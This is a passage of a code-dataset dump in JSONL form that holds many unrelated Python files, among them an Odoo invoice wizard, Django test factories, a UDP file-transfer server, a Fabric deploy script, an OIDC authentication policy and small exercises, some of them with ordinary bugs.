'account.invoice'\n\n @api.multi\n def set_number(self):\n return {\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'account.invoice.next_number',\n 'target': 'new',\n 'type': 'ir.actions.act_window',\n 'context': {'invoice_id': self.id}\n }\n\n\nclass next_number(models.TransientModel):\n _name = 'account.invoice.next_number'\n\n @api.model\n def get_number(self):\n invoice_id = self.env.context.get('invoice_id')\n invoice_obj = self.pool['account.invoice']\n sequence_obj = self.pool['ir.sequence']\n invoice = invoice_obj.browse(self.env.cr, self.env.uid, invoice_id)\n taller_seq = sequence_obj.browse(self.env.cr, self.env.uid, 15)\n return taller_seq.number_next\n\n @api.multi\n def do_action(self):\n sequence_obj = self.pool['ir.sequence']\n invoice_id = self.env.context.get('invoice_id')\n invoice_obj = self.pool['account.invoice']\n invoice = invoice_obj.browse(self.env.cr, self.env.uid, invoice_id)\n taller_seq = sequence_obj.browse(self.env.cr, self.env.uid, 15)\n taller_seq.sudo().write({'number_next': self.next_number})\n\n # COLUMNAS\n next_number = fields.Integer('Next Number')\n actual_number = fields.Integer('Actual Number', default=get_number)\n","sub_path":"chiex/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"557572910","text":"# From facebook codelab \n# Given N and M find all stepping numbers in range N to M\n# A number is called as a stepping number if the adjacent digits have a difference of 1.\n# e.g 123 is stepping number, but 358 is not a stepping number\n\n#helper function which checks whether specified number's adjacent digits differ by one \n\ndef isStepNum(a):\n\n\tprev = a%10\n\ta = a/10\n\twhile(a > 0):\n\t\tcurrent = a%10\n\t\tif abs(current - prev) != 1:\n\t\t\treturn False\n\t\tprev = current\n\t\ta = a/10\n\treturn True\n\ndef stepnum(A, B):\n\t#data structure to return - contains all valid numbers in range [A,B]\n\tans = []\n\t\n\t#iterate from A - B - not using a for loop to facilitate an optimization, see below\n\ti = A \n\twhile(i <= B):\n\n\t\t#optimization - if all but the most significant digit do not form a valid step number, all 10 numbers iwth those least significant\n\t\t#digits can be skipped == eg 130 - 139 cannot be valid \n\t\tif(i >= 110):\n\t\t\tif not isStepNum(i/10):\n\t\t\t\ti = i + (10 - i%10) #this formula will go to the next group of tens - eg from 203 to 210\n\t\t\n\t\tif isStepNum(i):\n\t\t\tans.append(i)\n\n\t\ti = i + 1\n\treturn ans\n\n\n\n#test - should return 10, 12\nprint(stepnum(10, 20))","sub_path":"python/stepnum.py","file_name":"stepnum.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"384419318","text":"__doc__ = '''Sample size boosting.'''\nfrom PIL import Image, ImageFilter\nimport os\nimport numpy as np\n\n\nsubsampled_size = (128,128)\n\ndef make_subimages(im):\n\tdim = min(im.size) * .9\n\tupper_left = im.crop((0,0,dim,dim))\n\tlower_left = im.crop((0, im.height - dim, dim, im.height))\n\tupper_right = im.crop((im.width - dim, 0, im.width, dim))\n\tlower_right = im.crop((im.width - dim, im.height-dim, im.width, im.height))\n\tmidtop = (im.height - dim) // 2\n\tmidleft = (im.width - dim) // 2\n\tmid = im.crop((midleft, midtop, midleft + dim, midtop + dim))\n\treturn [upper_left, upper_right, lower_left, lower_right, mid]\n\ndef sample_size_boost(values, new_size = subsampled_size):\n# every possible rotation and flip: rotate 90, fliph, flipv\t\n\timage = Image.fromarray(values.astype('uint8'))\n\tlist_0 = make_subimages(image)\n\tlist_1 = []\n\tlist_2 = []\n\tlist_3 = []\n\tlist_4 = []\n\tfor i in list_0: \n\t\tlist_1.append(i.rotate(90))\n\t\tlist_1.append(i)\n\tdel list_0\n\tfor i in list_1: \n\t\tlist_2.append(i.transpose(Image.FLIP_LEFT_RIGHT))\n\t\tlist_2.append(i)\n\tdel list_1\n\tfor i in list_2: \n\t\tlist_3.append(i.transpose(Image.FLIP_TOP_BOTTOM))\t\n\t\tlist_3.append(i)\n\tdel list_2\n\t# downsample images\n\tfor i in list_3: list_4.append(np.array(i.resize(subsampled_size)))\n\treturn list_4\n\t\nif __name__ == \"__main__\":\n\tx = np.arange(1638400).reshape(1280,-1)\n\tprint(len(sample_size_boost(x)))\n","sub_path":"SSB.py","file_name":"SSB.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"591582851","text":"import random\nimport string\nfrom django.contrib.sites.models import Site\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.utils import timezone\nfrom bearded_comments.models import TComment, TCommentNode\nfrom bearded_comments.forms import TCommentForm\n\n_GTLDS = ['.com', '.net', '.org']\n\ndef random_string(len_=5):\n return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(len_))\n\ndef random_email():\n return ''.join([random_string(), '@', random_string(), random.choice(_GTLDS)])\n\ndef random_url():\n return ''.join([random_string(), random.choice(_GTLDS)])\n\ndef create_tcomment(target=None, **kwargs):\n \"\"\"\n Factory for creating TComment instances.\n :param target: Target model of the comment. Defaults to the current Site.\n :return: A new TComment instance.\n \"\"\"\n site = Site.objects.get_current()\n target_ = target if target else site\n # content_type, object_pk, timestamp, security_hash\n security_data = TCommentForm(target_).generate_security_data()\n # Base django_comments data\n data = {\n 'content_type': ContentType.objects.get_for_model(target_),\n 'object_pk': security_data['object_pk'],\n 'user_name': random_string(),\n 'user_email': random_email(),\n 'user_url': random_url(),\n 'comment': random_string(25),\n 'submit_date': timezone.now(),\n 'site_id': site.pk,\n 'is_public': True,\n 'is_removed': False\n }\n # Extended TComment data\n data.update({\n 'title': random_string()\n })\n # Caller override auto-generated fields\n data.update(kwargs)\n return TComment(**data)\n\ndef create_tcomment_node(comment=None, parent=None):\n \"\"\"\n Factory for creating TCommentNode instances.\n \"\"\"\n pass\n\ndef create_tcomment_tree(target=None, \n max_depth=3, \n max_children=3, \n with_signal=False,\n depth=1, \n parent=None):\n \"\"\"\n Recursively populate the database with a random tree of depth max_depth.\n \"\"\"\n if depth <= max_depth:\n children = random.randrange(1, max_children + 1)\n for _ in range(children):\n c = create_tcomment(target)\n c.save()\n if parent:\n node = parent.node.add_child(comment=c)\n else:\n node = TCommentNode.add_root(comment=c)\n c.node = node\n c.save()\n create_tcomment_tree(target, depth=depth+1, parent=c, with_signal=with_signal)\n\n\n\n\n\n","sub_path":"bearded_comments/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"321122744","text":"a = dict(one=1,two=2,three=3)\nb = {'one':1,'two':2,'three':3}\nc = dict(zip(['one','two','three'],[1,2,3]))\nd = dict([('two',2),('one',1),('three',3)])\ne = dict({'three':3,'one':1,'two':2})\nprint(a==b==c==d==e)\n\nDIAL_CODES = [\n (86,'china'),\n (91,'india'),\n (1,'united states'),\n (62,'indonesia'),\n (55,'brazil'),\n (92,'pakistan'),\n (880,'bangladesh'),\n (234,'nigeria'),\n (7,'russia'),\n (81,'janpan'),\n]\ncountry_code = {country.title(): code for code,country\n in DIAL_CODES\n if code <66}\nprint(country_code)\n\nimport sys,re\n\n\nWORD_RE = re.compile(r'\\w+')\nindex = {}\nwith open(sys.argv[1],encoding='utf-8') as fp:\n print(fp)\n for line_no,line in enumerate(fp,1):\n for match in WORD_RE.finditer(line):\n word = match.group()\n column_no = match.start()+1\n location = (line_no,column_no)\n\n occurrences = index.get(word,[])\n occurrences.append(location)\n index[word] = occurrences\n\n index.setdefault(word,[]).append(location)\n my_dict.setdefault(key,[]).append(new_value)\n\n if key not in my_dict:\n my_dict[key] = []\n my_dict[key].append(new_valueaa)\n\n for word in sorted (index,key=str.upper()):\n print(word,index[word])\n","sub_path":"*Fluent_python/Data_struct/dict_.py","file_name":"dict_.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"48460691","text":"# pylint: skip-file\nimport sys\nimport socket\nimport struct\nimport random\nimport os\nimport pathlib\n\ndef computeCheckSum(data):\n checksum = 0\n # checking if this is even\n if len(data)%2 != 0:\n data += '0'\n for i in range(0, len(data), 2):\n element = ord(data[i]) + (ord(data[i+1]) << 8)\n sum = element + checksum\n carry = sum >> 16\n sum = sum & 0xFFFF\n # adding the carry to the LSB\n checksum = sum + carry\n # 1's compliment\n checksum = (~checksum) & 0xFFFF\n return checksum\n\ndef receivingHandler(server_socket):\n file = open(FILE_NAME, \"w\")\n expected_seq = 0\n is_file_received = False\n while not is_file_received:\n packet, client_address = server_socket.recvfrom(BUFFER_SIZE)\n header = struct.unpack('!IHH', packet[0:8])\n sequence_number = header[0]\n # print(\"recv: \", sequence_number)\n data = packet[8:].decode()\n loss_value = random.random()\n # sanity check\n if header[2] == 0b0101010101010101 and computeCheckSum(data) == header[1] and sequence_number <= expected_seq:\n if loss_value > LOSS_PROB:\n server_socket.sendto(struct.pack('!IHH', sequence_number, 0, 0xAAAA), client_address)\n if len(data) > 0 and sequence_number == expected_seq:\n file.write(data)\n expected_seq = expected_seq + 1\n else:\n file.close()\n server_socket.close()\n is_file_received = True\n continue\n else:\n print(\"Packet loss, sequence number = \", sequence_number)\n\n\"\"\"\nCommand:\nSimple_ftp_server port# file-name p\npython3 testserver.py Simple_ftp_server 7735 output.txt 0.07\n\"\"\"\n\n# taking inputs\nif len(sys.argv) != 5 or sys.argv[1] != \"Simple_ftp_server\":\n print(\"Please enter correct command\")\n sys.exit()\n\nSERVER_PORT = int(sys.argv[2])\nFILE_NAME = str(sys.argv[3])\nLOSS_PROB = float(sys.argv[4])\n\n# 8 bytes as header size\nBUFFER_SIZE = 8192\n\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserver_socket.bind((socket.gethostname(), SERVER_PORT))\n\n# deleting already existing file\nold_file = pathlib.Path(FILE_NAME)\nif old_file.is_file():\n os.remove(FILE_NAME)\n\nreceivingHandler(server_socket)\n\nprint(\"File tranfered successfully.\")\n","sub_path":"SelectiveRepeatRequest/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"494666680","text":"import streamlit as st\n# from PIL import Image\n# import cv2 \nimport pandas as pd\nimport numpy as np\nimport os\nimport random\nimport streamlit.components.v1 as components\n\ndef get_rec(input_name,df,k=10):\n name_list = df[0].tolist()\n idx = name_list.index(input_name)\n output = df.iloc[idx,1:k+1].tolist()\n# df_rec = df[df[0]==input_name]\n return output\ndef show_rec(rec_list):\n pic_dir ='actor_pic/'\n alL_mov = os.listdir(pic_dir)\n rec_pic = []\n\n for i in range(len(rec_list)):\n # st.text(rec_df.columns)\n rec_name = rec_list[i]\n mov_dir = pic_dir+rec_name.replace(\" \",\"_\")\n show_num = 0\n try:\n for mov in os.listdir(mov_dir):\n if mov[-5:]=='.jpeg':\n load_image(mov_dir+'/'+mov,title = \"Top %d\"%(i+1),subheader = rec_name)\n show_num+=1\n break\n except:\n place_holder_path = \"image_place_holder/people-icon.png\"\n load_image(place_holder_path,title = \"Top %d\"%(i+1),subheader = rec_name)\n\n return \n \n \ndef load_image(image_path,title='',subheader='', width=100):\n \n st.title(title) \n st.subheader(subheader)\n print(image_path)\n st.image(image_path,width=width)\n\ndef app():\n # try:\n view_net = st.button(\"View NETFLIX social network\")\n\n if view_net:\n st.write(\"This is the network centered around Kevin Bacon. \\nA statement here: all actors in this network is not further than 2 steps away from Kevin Bacon.\\n Do you believe it?\")\n\n # HtmlFile = open(\"sample.html\", 'r', encoding='utf-8')\n HtmlFile = open(\"vis/actor.html\", 'r', encoding='utf-8')\n source_code = HtmlFile.read() \n components.html(source_code, height = 500,width=1000)\n\n # load_image('/Users/luocan/class/2021spring/big_data/final-project/app/actor_net.png',\n # title='Explore the entertainment industry network',subheader='',\n # width = 800)\n\n input_cat = st.sidebar.selectbox(\n 'Who are you?',\n ('actor','director')\n )\n\n if input_cat =='actor':\n output_cat = 'actor'\n else:\n output_cat = st.sidebar.selectbox(\n 'Who are you intersted in?',\n ('actor','director')\n )\n if input_cat =='director':\n input_c = 'd'\n else:\n input_c = 'c'\n if output_cat =='director':\n output_c = 'd'\n else:\n output_c = 'c'\n path = \"../data/net_inf/common_neighbor_%s%s.txt\"%(input_c,output_c)\n df = pd.read_csv(path,header = None)\n name_list = df[0].tolist()\n input_name = st.sidebar.selectbox(\n 'Your name: ',\n sorted(name_list)\n )\n K = st.sidebar.selectbox(\n 'How many recommendation do you want? ',\n list(range(1,11))\n )\n\n rec_list = get_rec(input_name,df,k = K)\n st.title(\"Based on the common neighbors information, we think you might be intersted in these %ss\"%(output_cat))\n show_rec(rec_list)\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n app()","sub_path":"03-Application/ent_network.py","file_name":"ent_network.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"405328968","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 12 18:40:57 2020\n\n@author: ASUS\n\"\"\"\n\nfrom bs4 import BeautifulSoup\n\nfrom urllib.request import urlopen\n\n#html = urlopen('https://morvanzhou.github.io/static/scraping/basic-structure.html').read().decode('utf-8')\n\n#soup = BeautifulSoup(html,'html.parser')\n'''\nprint(type(soup))\n#print(soup.h1)\n#print(soup.p)\n\nprint(soup.h1.text)\nprint(soup.p.text)\n\n#透過find_all抓取連結\nall_href = soup.find_all('a')\n\nfindAll 是2.x版本\nfind_all 是3.x版本\n兩者在3.x 均可使用\n\n\n\nprint(all_href)\nfor i in all_href:\n print(i['href'])\n''' \nhtml = urlopen(\"http://www.pythonscraping.com/pages/warandpeace.html\")\nbsObj = BeautifulSoup(html)\nnameList = bsObj.find_all(\"span\",{\"calss':'red\"})\nfor name in nameList:\n print(name.get_text())\n ","sub_path":"0312/py01.py","file_name":"py01.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313362167","text":"#-*- coding: utf-8 -*-\n\nimport subprocess\nfrom fabric.api import *\nfrom fabric.contrib.console import confirm\n\nenv.hosts = [\"ec2-52-192-156-109.ap-northeast-1.compute.amazonaws.com\"]\nenv.user = \"gituser\"\nenv.key_filename = \"~/.ssh/id_git_rsa\"\nenv.local_src_path = \"/home/hiroaki/working\"\n\ndef hello(name=\"world\"):\n print(\"Hello %s\" % name)\n\ndef get_commit_id():\n \"\"\"\n ~/woking/ディレクトリのmaster branchのcommit idを取得する\n \"\"\"\n with lcd(env.local_src_path): # lcdされないsubprocessだと無効?\n commit_log = local(\"git log --graph --oneline\", capture=True)\n print(commit_log)\n print(\"--------------------------------------\")\n commit_id = input(\"Commit ID >>\")\n if not confirm(\"Do you want to rallback to Commit ID : %s ?\" % commit_id):\n abort(\"Aborting at rollback request.\")\n return commit_id\n\ndef test():\n \"\"\"\n confirmはプロンプト上にY/nの選択肢を表示する\n capture=Trueにするとコマンドの結果を見れる. .failed or return_codeで\n \"\"\"\n\n with settings(warn_only=True):\n result = local(\"nosetests\", capture=True)\n if result.failed and not confirm(\"Tests failed. Continue anyway?\"):\n abort(\"Aborting ad user request.\")\n\ndef commit(message=\"default commit\"):\n local(\"git add -A && git commit -m \\\"%s\\\"\" % message)\n\ndef push():\n local(\"git push origin master\")\n\ndef pre_deploy():\n with lcd(env.local_src_path):\n #test()\n print(env.local_src_path)\n commit()\n push()\n\ndef deploy():\n code_dir = \"~/working/\"\n with cd(code_dir): # デプロイ先ディレクトリに移動して\n run(\"git pull ~/repos/working.git master\") # リモートで実行する\n\ndef rollback():\n \"\"\"\n working ディレクトリでgit log --graph --onelineしてcommit idを取得すること\n 最後のcommitが最初に表示される\n \"\"\"\n commit_id = get_commit_id()\n with lcd(env.local_src_path):\n local(\"git revert %s\" % commit_id)\n push()\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"210813390","text":"dict_line = {}\n\nfor line in lines:\n dict_line[line[2]] = line\n\nfile_4 = open('/users/kcnco/github/100knock2021/pan/chapter02/col4.txt', 'w')\nfor elem in sorted(dict_line):\n file_4.write('\\t'.join(dict_line[elem]) + '\\n')\n\n##memo\n#a = [5,7,6,3,4,1,2]\n#b = sorted(a)\n#>>> a\n#[5, 7, 6, 3, 4, 1, 2]\n#>>> b\n#[1, 2, 3, 4, 5, 6, 7]\n","sub_path":"pan/chapter02/X18.py","file_name":"X18.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"601238364","text":"import logging\n\nfrom jose.exceptions import ExpiredSignatureError\nfrom oauthlib.oauth2.rfc6749.errors import InvalidGrantError\nfrom pyramid.authentication import CallbackAuthenticationPolicy\nfrom pyramid.interfaces import IAuthenticationPolicy\nfrom zope.interface import implementer\n\nfrom ..interfaces import IOIDCUtility\n\n\n@implementer(IAuthenticationPolicy)\nclass OIDCSessionAuthenticationPolicy(CallbackAuthenticationPolicy):\n # This auth policy requires a session factory to be set up.\n # In general cookie base session store won't work, as the cookie payload\n # usually exceeds 4kb\n\n def __init__(self, callback=None, debug=False, **kwargs):\n self.callback = callback\n self.debug = debug\n self.log = logging.getLogger(__name__)\n\n def get_token(self, request):\n # get tokens from session\n tokens = request.session.get('oidc.token')\n if tokens:\n return tokens.get('access_token')\n return None\n\n def _get_utility(self, request):\n return request.registry.getUtility(IOIDCUtility)\n\n def _validate_access_token(self, request):\n # verify access token and return claims\n # TODO: assumes access token is a jwt with useful attributes\n claims = request.environ.get('oidc.claims')\n if claims:\n # we already decoded the access token\n return claims\n oidc = self._get_utility(request)\n try:\n token = self.get_token(request)\n if token:\n claims = oidc.validate_token(token)\n except ExpiredSignatureError:\n # token is expired ... if we have a refresh token, we can try to\n # update the token\n self.log.info('Access Token expired')\n oidc_tokens = request.session.get('oidc.token')\n if not (oidc_tokens and oidc_tokens.get('refresh_token')):\n # no refresh token\n del request.session['oidc.token']\n return None\n # try refresh\n oauth = oidc.get_oauth2_session(request, token=oidc_tokens)\n try:\n self.log.info('Refreshing Access Token...')\n response = oauth.refresh_token(\n oidc.token_endpoint,\n auth=(oidc.client_id, oidc.client_secret)\n )\n self.log.info('Access Token refreshed')\n except InvalidGrantError:\n # most likely because refresh token has expired\n del request.session['oidc.token']\n self.log.info('Access Token refresh failed')\n return None\n # validate id_token\n id_token = oidc.validate_token(response['id_token'])\n access_token = response['access_token']\n claims = oidc.validate_token(access_token)\n # store new tokens in session (store full token response)\n oidc_tokens = dict(response)\n # and the decoded id_token\n oidc_tokens['id_token'] = id_token\n request.session['oidc.token'] = oidc_tokens\n if claims:\n # store claims in familiar place as well\n request.environ['oidc.claims'] = claims\n return claims\n\n # @IAuthenticationPolicy\n def unauthenticated_userid(self, request):\n \"\"\"Get identity from request Auth header without validation\"\"\"\n # we verify and extract the token here, so that we can\n # inspect the claims in the callback\n # if verify fails, we return None\n # any claims in the request.env\n claims = self._validate_access_token(request)\n if not claims:\n return None\n oidc = self._get_utility(request)\n return claims.get(oidc.userid_claim)\n\n # @IAuthenticationPolicy\n def remember(self, request, userid, **kw):\n \"\"\" Return a set of headers suitable for 'remembering' the\n :term:`userid` named ``userid`` when set in a response. An\n individual authentication policy and its consumers can\n decide on the composition and meaning of ``**kw``.\n \"\"\"\n # We already store the tokens in the session ... nothing to do here\n return []\n\n # @IAuthenticationPolicy\n def forget(self, request):\n \"\"\" Return a set of headers suitable for 'forgetting' the\n current user on subsequent requests.\n \"\"\"\n # Clear session\n request.session.invalidate()\n return []\n","sub_path":"src/pyramid_oidc/authentication/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"64816062","text":"from appJar import gui\r\n\r\ndef addItem(maximumLength, itemGroupName, app, press, rowStart = 0, columnStart = 1, bottomButton = False, isFirstAdd = True):\r\n label = \"{} Name \".format(itemGroupName)\r\n heading = \"Add {}s\".format(itemGroupName)\r\n \r\n headingRow = rowStart\r\n entryRow = headingRow + 1\r\n \r\n if not bottomButton:\r\n buttonRow = entryRow\r\n buttonColumn = columnStart + 4\r\n else:\r\n buttonRow = entryRow + 6\r\n buttonColumn = columnStart + 1\r\n \r\n #app.startTab(heading)\r\n app.addLabel(heading, heading, headingRow, columnStart, colspan = 2)\r\n app.addLabelEntry(label, entryRow, columnStart)\r\n if isFirstAdd: app.setEntryFocus(label)\r\n app.setEntryMaxLength(label, maximumLength)\r\n app.addNamedButton(\"Add\", \"Add\" + itemGroupName, press, row = buttonRow, column = buttonColumn)\r\n #app.stopTab()","sub_path":"AddView.py","file_name":"AddView.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"467843109","text":"import os\r\nimport random\r\nimport webbrowser\r\n\r\nfrom datetime import datetime as dt\r\nfrom datetime import timedelta\r\nfrom time import sleep\r\n\r\n\r\ndef get_random_url():\r\n url_list = os.path.join('.', 'music.txt')\r\n with open(url_list, 'r') as file:\r\n urls = file.readlines()\r\n return random.choice([yt_url.strip() for yt_url in urls]) # returning randomly chosen url from the list\r\n\r\n\r\ndef print_header():\r\n print('-------------------------------------------------------')\r\n print(' Set Alarm ')\r\n print('-------------------------------------------------------')\r\n\r\n print()\r\n\r\n\r\ndef get_alarm_time():\r\n user_time = input(\"When do you want to set the alarm? [hh:mm]: \").strip()\r\n while not isinstance(user_time, type(dt.now())): # checking if time is provided correctly\r\n try:\r\n user_time = dt.strptime(user_time, \"%H:%M\")\r\n except ValueError:\r\n print(\"\")\r\n user_time = input(\"Please, give a proper time in format [hh:mm]: \").strip()\r\n user_time = user_time.replace(year=dt.now().year, month=dt.now().month, day=dt.now().day) # correcting date\r\n if user_time > dt.now():\r\n return user_time\r\n else:\r\n return user_time + timedelta(days=1)\r\n\r\n\r\ndef set_alarm(desired_time):\r\n time_left = desired_time - dt.now()\r\n hours_left = int(timedelta.total_seconds(time_left)) / 3600\r\n minutes_left = (int(timedelta.total_seconds(time_left)) / 60) % 60\r\n print('\\nThe alarm will ring in {} hours and {} minutes.'.format(int(hours_left), int(minutes_left)))\r\n\r\n sleep(timedelta.total_seconds(time_left))\r\n\r\n\r\ndef ring_alarm(music_url):\r\n webbrowser.open(music_url)\r\n\r\n\r\ndef check_file():\r\n if not os.path.isfile('music.txt'):\r\n print(\"A file with music urls is missing, creating new one...\\n\")\r\n music_file = open(\"music.txt\", 'w')\r\n music_file.write(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ\\n\")\r\n music_file.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n print_header()\r\n set_another = 'y' # variable used in a loop\r\n check_file() # checking if file with urls exist\r\n\r\n while set_another.lower().strip() == 'y':\r\n url = get_random_url() # choosing random url from a file\r\n\r\n alarm_time = get_alarm_time() # asking for a time to set the alarm\r\n set_alarm(alarm_time)\r\n ring_alarm(url)\r\n\r\n set_another = input(\"Set another alarm? [y/n]: \")\r\n\r\n print(\"\\n Goodbye!\")\r\n print('-------------------------------------------------------\\n')\r\n","sub_path":"alarm.py","file_name":"alarm.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"499134644","text":"import json\nimport os\nimport subprocess\n\nimport git\nimport pandas\nimport shutil\n\nfrom git import Repo\nfrom shared_constants import data_dir, repo_candidates_filename\n\ntemp_repo_dir = \"temp-repo\"\ncode_metrics_file = \"code-metrics.csv\"\ncode_metrics_folder = \"code-metrics\"\n\n\ndef read_json(filename):\n print(\"reading result from {}/{}\".format(data_dir, filename))\n with open(\"{}/{}.json\".format(data_dir, filename), \"r\") as file:\n data = json.load(file)\n\n return data\n\n\ndef main():\n # for all repos\n\n candidate_repos = read_json(repo_candidates_filename)\n\n # create the folder where to store the code metrics\n if not os.path.exists(\"{}/{}\".format(data_dir, code_metrics_folder)):\n os.makedirs(\"{}/{}\".format(data_dir, code_metrics_folder))\n\n metrics = None\n for i in range(0, len(candidate_repos)):\n # for i in range(0, 10):\n\n # create the folder where to store the repos temporarily\n if not os.path.exists(temp_repo_dir):\n os.makedirs(temp_repo_dir)\n\n candidate_repo = candidate_repos[i]\n\n # download repo\n git_url = candidate_repo[\"html_url\"]\n repo_name = candidate_repo[\"name\"]\n\n print(\"============================================\")\n print(\"cloning repository {}\".format(repo_name))\n try:\n Repo.clone_from(git_url, temp_repo_dir)\n except git.exc.GitCommandError:\n print(\"error cloning repository\")\n continue\n\n # calculate code metrics on last snapshot\n print(\"calculating code metrics\")\n repo_id = candidate_repo[\"id\"]\n output_file = \"{}/{}/{}-{}\".format(data_dir, code_metrics_folder, repo_id, code_metrics_file)\n\n if not compute_metrics(output_file):\n continue\n\n temp_frame = prepare_metrics_data(candidate_repo, output_file, repo_id, repo_name)\n\n if metrics is None:\n metrics = temp_frame\n else:\n metrics = pandas.concat([metrics, temp_frame], ignore_index=True)\n\n print(\"save data to csv\")\n metrics.to_csv(\"{}/final-{}\".format(data_dir, code_metrics_file))\n\n shutil.rmtree(temp_repo_dir)\n\n\ndef compute_metrics(output_file):\n # e.g \"Exception in thread \"main\" java.lang.NullPointerException...\"\n # java -jar ck/ck-0.2.1-SNAPSHOT-jar-with-dependencies.jar temp-repo/ data/36057260-code-metrics.csv\n # subprocess.run(\"java -jar ck/ck-0.2.1-SNAPSHOT-jar-with-dependencies.jar {} {}\"\n # .format(temp_repo_dir, output_file), shell=True)\n\n try:\n subprocess.run(\n \" \".join(\n [\"java\", \"-jar\", \"ck/ck-0.2.1-SNAPSHOT-jar-with-dependencies.jar\", temp_repo_dir, output_file]\n ),\n shell=True, check=True,\n timeout=60 * 10\n )\n\n except subprocess.CalledProcessError:\n print(\"exception analysing the repository - skipping\")\n shutil.rmtree(temp_repo_dir)\n return False\n\n except subprocess.TimeoutExpired:\n print(\"timeout analysing the repository - skipping\")\n shutil.rmtree(temp_repo_dir)\n return False\n\n return True\n\n\ndef prepare_metrics_data(candidate_repo, output_file, repo_id, repo_name):\n # analyse code quality vs stars and num contributors\n print(\"preparing data\")\n metrics_raw = pandas.read_csv(output_file)\n metrics_raw.pop(\"file\")\n metrics_raw.pop(\"class\")\n metrics_raw.pop(\"type\")\n # for each metric compute mean, median, Q1, and Q3\n mean = metrics_raw.mean().rename(lambda x: \"average_{}\".format(x))\n median = metrics_raw.median().rename(lambda x: \"median_{}\".format(x))\n q1 = metrics_raw.quantile(q=0.25).rename(lambda x: \"Q1_{}\".format(x))\n q3 = metrics_raw.quantile(q=0.75).rename(lambda x: \"Q3_{}\".format(x))\n temp_frame = pandas.DataFrame(pandas.concat([mean, median, q1, q3])).T\n temp_frame['id'] = repo_id\n temp_frame['name'] = repo_name\n temp_frame['stars'] = candidate_repo[\"stargazers_count\"]\n temp_frame['contributors_total'] = candidate_repo[\"num_contributors\"]\n return temp_frame\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"static_code_metrics.py","file_name":"static_code_metrics.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"214169032","text":"import os\nimport re\nimport random\nimport webapp2\nimport hashlib\nimport hmac\nimport datetime\nfrom string import letters\n\nimport jinja2\n\nfrom google.appengine.ext import db\nfrom google.appengine.ext.db import metadata\n\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'templates')\njinja_env = jinja2.Environment(loader = jinja2.FileSystemLoader(template_dir),\n autoescape = True)\n\ndef blog_key(name='default'):\n return db.Key.from_path('blogs', name)\n\ndef user_key(group='default'):\n return db.Key.from_path('users', group)\n\ndef post_key(post_id):\n return db.Key.from_path('Post', int(post_id), parent=blog_key())\n\ndef render_str(template, **params):\n tmp = jinja_env.get_template(template)\n return tmp.render(params)\n\ndef like_dup(ent, login_id, post_id):\n key = post_key(post_id)\n like_exists = db.GqlQuery(\"SELECT * \"\n \"FROM \" + ent +\n \" WHERE like_user_id = '\" + login_id +\n \"' AND ANCESTOR IS :1\", key).get()\n return like_exists\n\nclass BlogHandler(webapp2.RequestHandler):\n\n################# ENCRYPTION ###################\n\n def make_salt(self, salt_length=5):\n return ''.join(random.choice(letters)\n for x in xrange(salt_length))\n\n def hash_pass(self, username, password, salt=None):\n if not salt:\n salt = self.make_salt()\n hashed_pass = hashlib.sha256(username + password + salt).hexdigest()\n return '%s|%s' % (salt, hashed_pass)\n\n def valid_pass_hash(self, username, password, hashed_pass):\n salt = hashed_pass.split('|')[0]\n return hashed_pass == self.hash_pass(username, password, salt)\n\n def make_secure_val(self, val):\n return '%s|%s' % (val, hmac.new(COOKIE_SECRET, val).hexdigest())\n\n def get_secure_val(self, secure_val):\n if secure_val:\n val = secure_val.split('|')[0]\n else:\n val = None\n if secure_val == self.make_secure_val(val):\n return val\n\n################# AUTHENTICATION ###################\n\n def user_exists(self, username):\n username_exists = db.GqlQuery(\"SELECT * \"\n \"FROM User \"\n \"WHERE username = :usernm\",\n usernm=username).get()\n return username_exists\n\n def user_auth(self, username, password):\n user = db.GqlQuery(\"SELECT * \"\n \"FROM User \"\n \"WHERE username = :usernm\",\n usernm=username).get()\n if user:\n return self.valid_pass_hash(user.username,\n password,\n user.pass_hash)\n\n################ TEMPLATES ##################\n\n def write(self, *a, **kw):\n 